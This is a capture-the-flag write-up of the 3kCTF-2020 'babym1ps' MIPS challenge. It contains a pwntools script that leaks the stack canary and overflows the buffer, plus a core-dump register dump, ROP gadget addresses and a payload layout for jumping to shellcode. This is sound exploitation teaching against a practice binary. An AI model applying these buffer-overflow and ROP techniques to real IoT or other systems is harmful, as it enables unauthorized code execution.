3kCTF-2020 - babym1ps writeup

25-07-2020 - rekter0

Summary

MIPS little endian 32bits pwnable [499 points 3 solves]

1- Simple password check
2- Leak stack cookies
3- ROP 2 shellcode

Pwning

properly debugging MIPS can be a little hussle, the first answer here is a great resource to help you setup your env

https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-arm-mips-elf-with-qemu-toolchain

we don't need full mips image, just gdb-multiarch and mips libc and toolchains

A statically linked MIPS 32 little endian binary with stack canaries enabled and the emulator has ASLR enabled, typical enabled protections in an IOT device

$ file challenge
challenge: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=bf95ce124135f375fbe7d360678367cdccc05a6e, stripped

$ checksec ./challenge
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

by looking at main function,

  • the program reads 2 inputs username and password into same buffer, it can read more than buffer size
  • prints username
  • simple password check, rand without a seed, values will be always the same password is dumbasspassword
  • if password is correct print 'ok' msg and main returns
  • else print 'no' msg and exit()

since the program can read more than the buffer size, NX disabled, we need to
  • leak stack canary first through username
  • since strcmp stops at nullbyte, we enter correct password+nullbyte+payload
  • payload should contain our ROP to jump to shellcode

so let's leak stack canary first, our buffer has size of 128bytes, stack canary is right after our buffer in stack, printf will stop at nullbyte, so to leak it we need to send our username 129bytes to overwrite that nullbyte from stack cookie and we leak the other 3 bytes

run the binary with

$ ./qemu-mipsel -g 12345 ./challenge

in another terminal we start gdb-multiarch and connect to it

$ gdb-multiarch ./challenge
gef➤  target remote localhost:12345
Remote debugging using localhost:12345

we enter 129 bytes, and when it prints the username with message asking for password we'll see the 3 bytes of canary leaked, we got the first part covered

if we repeat the same process with some pattern to know what registers we control, this is first part of the exploit

from pwn import *
context.update(arch="mips", bits=32, endian="little", os="linux")

p = process(["./qemu-mipsel","challenge"])

p.sendafter('username','A'*129)
canary= "\x00"+ p.recvuntil(' , En').replace(' , En','').replace(' \r\n'+'A'*129,'')
canary = p32(u32(canary))
print "[canary] "+(canary).encode("hex")


p.send('dumbasspasswordaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabd'+canary+'aabeaabfaabgaabhaabiaabjaab')
p.interactive()

running it

python sploit.py 
[+] Starting local process './qemu-mipsel': pid 24510
[canary] 0051d848
[*] Switching to interactive mode
ter your your pass 
OK!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[*] Got EOF while reading in interactive

and now examining the coredump

$gdb-multiarch challenge qemu_challenge_24510.core 
Reading symbols from challenge...(no debugging symbols found)...done.
[New LWP 24510]
Core was generated by `F��{'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x66626160 in ?? ()
gef➤  registers
[*] Failed to read /proc/<PID>/maps, using GDB sections info: [Errno 2] No such file or directory: '/proc/24510/maps'
$zero: 0x00000000  →  0x00000000
$at  : 0x00000001  →  0x00000001
$v0  : 0x00000000  →  0x00000000
$v1  : 0x2b377c00
$a0  : 0x2b377c00
$a1  : 0xffffffff
$a2  : 0x00000001  →  0x00000001
$a3  : 0x00000000  →  0x00000000
$t0  : 0xfefefeff
$t1  : 0x80808000
$t2  : 0x00490fac  →  0x8d293ea9
$t3  : 0x79e2a9e3
$t4  : 0x41414141 ("AAAA"?)
$t5  : 0x41414141 ("AAAA"?)
$t6  : 0x41414141 ("AAAA"?)
$t7  : 0x41414141 ("AAAA"?)
$s0  : 0x00401020  →   addiu sp, sp, -56
$s1  : 0x00000000  →  0x00000000
$s2  : 0x00000000  →  0x00000000
$s3  : 0x00000000  →  0x00000000
$s4  : 0x00000000  →  0x00000000
$s5  : 0x00000000  →  0x00000000
$s6  : 0x00000000  →  0x00000000
$s7  : 0x00000000  →  0x00000000
$t8  : 0x1010101 
$t9  : 0x00420000  →  0xafbf002c (","?)
$k0  : 0x00000000  →  0x00000000
$k1  : 0x00000000  →  0x00000000
$s8  : 0x62616164 ("daab"?)
$pc  : 0x62616164 ("daab"?)
$sp  : 0x7daf7ff0  →  0x62616166 ("faab"?)
$hi  : 0x00000025  →  0x00000025
$lo  : 0x999999a3
$fir : no value
$ra  : 0x62616165 ("eaab"?)
$gp  : 0x4993a0

so we control s8, pc and ra registers, so we can hijack the program flow
now to find ROP gadgets i'll be using a mipsrop plugin for IDA from /dev/ttyS0, you can find documentation and download here

http://www.devttys0.com/2013/10/mips-rop-ida-plugin/

mips architecture is different, the functions return is different from usual x86, there's no ret instructions, to return we jump to an address from a register, so we need to control some registers first
so the strategy here is to, (note that there's multiple ways to exploit this)

  • gadget1 to control some registers
  • gadget2 to put a pointer to stack (our nopsled location) to a register
  • gadget3 to jump to register we saved from gadget2
    lets first pick gadget2 so we know which registers we want to control for gadget1
    we'll load mipsrop plugin for IDA and run mipsrop.stackfinder()

i've went for gadget at address 0x00443748

.text:00443748                 addiu   $a2, $sp, 0x38  # '8'
.text:0044374C                 sw      $zero, 0x1C($sp)
.text:00443750                 move    $a0, $s2
.text:00443754                 sw      $zero, 0x18($sp)
.text:00443758                 sw      $v0, 0x14($sp)
.text:0044375C                 move    $t9, $s1
.text:00443760                 jalr    $t9

so we control flow is at this address, we will have address at $sp+0x38 stored in register $a2, so next gadget must return with a jump to $a2
and to go from here to gadget3 we need to control register $s1 from gadget1, now we know what we need to control in gadget1

so now back to gadget1, we need it to control $ra so we can jumo to gadget2 and to control s1 so gadget2 can jumo to gadget3
i searched using mipsrop for gadgets that load stack address into $ra register and jumps to it and it also has some control for $s1 mipsrop.find("lw $ra")

the gadget at 0x00465474 looks like perfect candidate

__libc_freeres_fn:00465474                 lw      $ra, 0x2C($sp)
__libc_freeres_fn:00465478                 lw      $s3, 0x28($sp)
__libc_freeres_fn:0046547C                 lw      $s2, 0x24($sp)
__libc_freeres_fn:00465480                 lw      $s1, 0x20($sp)
__libc_freeres_fn:00465484                 lw      $s0, 0x1C($sp)
__libc_freeres_fn:00465488                 jr      $ra

now back to look for gadget3, which is a simple jump to $a2, so lets look for gadgets that move $a2 to $t9 mipsrop.find("move $t9")
there's plenty of useful gadgets here, i picked one at address 0x00420A04

.text:00420A04                 move    $t9, $a2
.text:00420A08                 jr      $t9


so now our payload should be like the following:

'dumbasspassword' + [nullbyte] +[112 bytes] + [canary] + [4 bytes] + [gadget1] + [0x1c bytes] + [gadget3] * 4 + [gadget2] + [nopsled] + [shellcode]

full exploit can be found here

https://github.com/rekter0/3kCTF2020/blob/master/babym1ps-sploit.py

mips - rce - pwn - 3kCTF

CONTACT



rekter0 © 2022